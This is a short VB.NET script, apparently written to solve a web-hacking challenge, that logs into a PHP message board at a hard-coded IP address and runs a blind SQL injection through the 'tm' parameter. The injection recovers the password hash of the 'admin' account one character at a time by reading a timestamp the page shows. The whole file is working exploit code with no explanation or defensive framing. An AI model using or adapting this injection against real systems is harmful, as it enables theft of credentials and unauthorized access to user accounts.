yhsj

' kitanai code
' dirty code
        Dim moji As String = "0123456789abcdefABCDEF"
        'moji = "0123456789."
        Dim pos As Integer = 1
        Dim mp As Integer = 0
        Dim len As Integer = 32

        Dim browser As New WebBrowser
        Dim prm As New ParameterList
        prm.Add("id", "dd")
        prm.Add("pw", "dd")
        browser.SetReferer("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/index.php")
        browser.Send("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/index.php", prm)

        If InStr(browser.GetLastData(), "hi dd") <= 0 Then
            MsgBox("login failed?")
            Exit Sub

        End If

        While 1
            If pos > len Then Exit While
            Dim url As String = "http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/msg.php?id=dd"
            Dim params As New ParameterList
            params.Add("msg", "a")
            Dim tm As String = "60*(SELECT CASE ORD(SUBSTRING((SELECT pw FROM talk WHERE LENGTH(id)=5 AND ORD(SUBSTRING(id,1,1))=97 AND ORD(SUBSTRING(id,2,1))=100 AND ORD(SUBSTRING(id,3,1))=109 AND ORD(SUBSTRING(id,4,1))=105 AND ORD(SUBSTRING(id,5,1))=110 LIMIT 0,1)," & pos & ",1)) WHEN " & Asc(moji.Substring(mp, 1)) & " THEN 1 ELSE 2 END)"
            params.Add("tm", tm)
            browser.Send(url, params)

            Application.DoEvents()
            Console.WriteLine("Checking [" & moji.Substring(mp, 1) & "]")

            Dim ret As String = browser.GetLastData()
            If InStr(ret, "done") <= 0 Then
                MsgBox("any problem?")
                Exit Sub

            End If

            browser.SendByGet("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/msg.php")
            ret = browser.GetLastData

            Dim r As New Regex("12-31 19:0([12])", RegexOptions.Singleline Or RegexOptions.IgnoreCase)
            Dim m As Match = r.Match(browser.GetLastData())

            If Not m.Success Then
                MsgBox("error?")
                Exit Sub

            End If

            Dim chv As Integer = Val(m.Groups(1).Value)
            If chv = 1 Then
                Console.WriteLine("[" & (pos + 1).ToString & "] " & moji.Substring(mp, 1))
                TextBox1.Text = TextBox1.Text & moji.Substring(mp, 1)
                Application.DoEvents()
                mp = 0
                pos = pos + 1
                Continue While

            End If

            Application.DoEvents()
            mp = mp + 1

            Threading.Thread.Sleep(200)

        End While